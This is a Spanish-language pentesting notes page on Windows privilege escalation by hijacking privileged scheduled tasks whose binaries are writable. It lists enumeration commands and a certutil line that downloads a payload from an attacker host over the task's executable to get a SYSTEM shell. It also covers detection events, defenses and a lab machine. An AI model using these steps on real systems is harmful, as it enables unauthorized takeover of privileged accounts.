the_open_door
café
ESEN
← Volver al índice

Scheduled task hijacking (Windows)

En Windows, una tarea programada que corre con privilegios (SYSTEM o un administrador) y ejecuta un binario sobre el que nuestro usuario tiene permisos de escritura es una vía directa de escalada: si podemos reemplazar ese binario, la próxima ejecución de la tarea corre nuestro código con su cuenta.

Enumerar las tareas y sus permisos

El primer paso es listar las tareas, ver con qué cuenta corren y qué ejecutan:

schtasks /query /fo LIST /v                              # todas las tareas, verboso (Run As User, Task To Run)
Get-ScheduledTask | select TaskName,State,@{n='User';e={$_.Principal.UserId}}

A veces la ruta y el intervalo están documentados en el propio sistema (un info.txt que dice "cada 5 minutos se ejecuta C:\Backup\TFTP.EXE"). Con la tarea localizada, se comprueba si el binario (o su carpeta) es escribible por nuestro usuario, con icacls o accesschk:

icacls C:\Backup\TFTP.EXE
.\accesschk64.exe /accepteula -quv "usuario" C:\Backup\TFTP.EXE
.\accesschk64.exe /accepteula -s -d C:\Backup\          # permisos sobre el directorio

Un (F) o (W) para nuestro usuario o para BUILTIN\Users es la luz verde.

Reemplazar el binario

move C:\Backup\TFTP.EXE C:\Backup\TFTP.EXE.bak
certutil.exe -f -urlcache -split http://<lhost>/payload.exe C:\Backup\TFTP.EXE

Cuando la tarea vuelve a dispararse, ejecuta nuestro payload y devuelve una shell con el privilegio de la tarea. Es paralelo al abuso de permisos de servicio inseguros: en ambos, un binario privilegiado escribible por el atacante equivale a control de esa cuenta; la diferencia es el disparador (el planificador de tareas en lugar del gestor de servicios). Si lo escribible no es el .exe sino un script que la tarea invoca (.ps1, .bat), o el propio XML de la tarea en C:\Windows\System32\Tasks\, el resultado es el mismo sin tocar el ejecutable.

Requisitos

Una tarea que corra como una cuenta más privilegiada que la nuestra y permiso de escritura sobre lo que ejecuta (el binario, un script intermedio o su carpeta). Hay que poder esperar al siguiente disparo o forzarlo (schtasks /run /tn <tarea> si tenemos permiso).

Matices. Hay que confirmar el intervalo real (esperar al siguiente disparo o forzarlo si tenemos permiso) y que la cuenta de la tarea es la que creemos; una tarea puede correr como el usuario actual y no aportar escalada. Conservar el binario original (.bak) evita romper la funcionalidad y facilita la limpieza.

Cómo detectarlo. Sustituir el binario deja un Event ID 4688 (creación de proceso) del move/certutil y, con SACL sobre la carpeta, un 4663 de escritura sobre el .exe de la tarea. La ejecución posterior genera un 4688 del binario ya troyanizado corriendo como SYSTEM o el administrador de la tarea, con un padre svchost.exe/taskeng.exe/taskhostw.exe que delata el origen en el planificador. La firma más fiable es un ejecutable de tarea programada cuyo hash cambia entre ejecuciones. Registrar o modificar una tarea deja además 4698/4702.

Defensa. Los binarios que ejecutan tareas programadas deben residir en rutas solo-escritura para administradores; auditar schtasks /query /v y las ACL de esos ejecutables y de sus carpetas, y no documentar rutas sensibles en ficheros legibles por todos. Es hermano de permisos de servicio inseguros.

HerramientasPowerUp

Máquinas donde se aplica

  • SlortProving Grounds Practice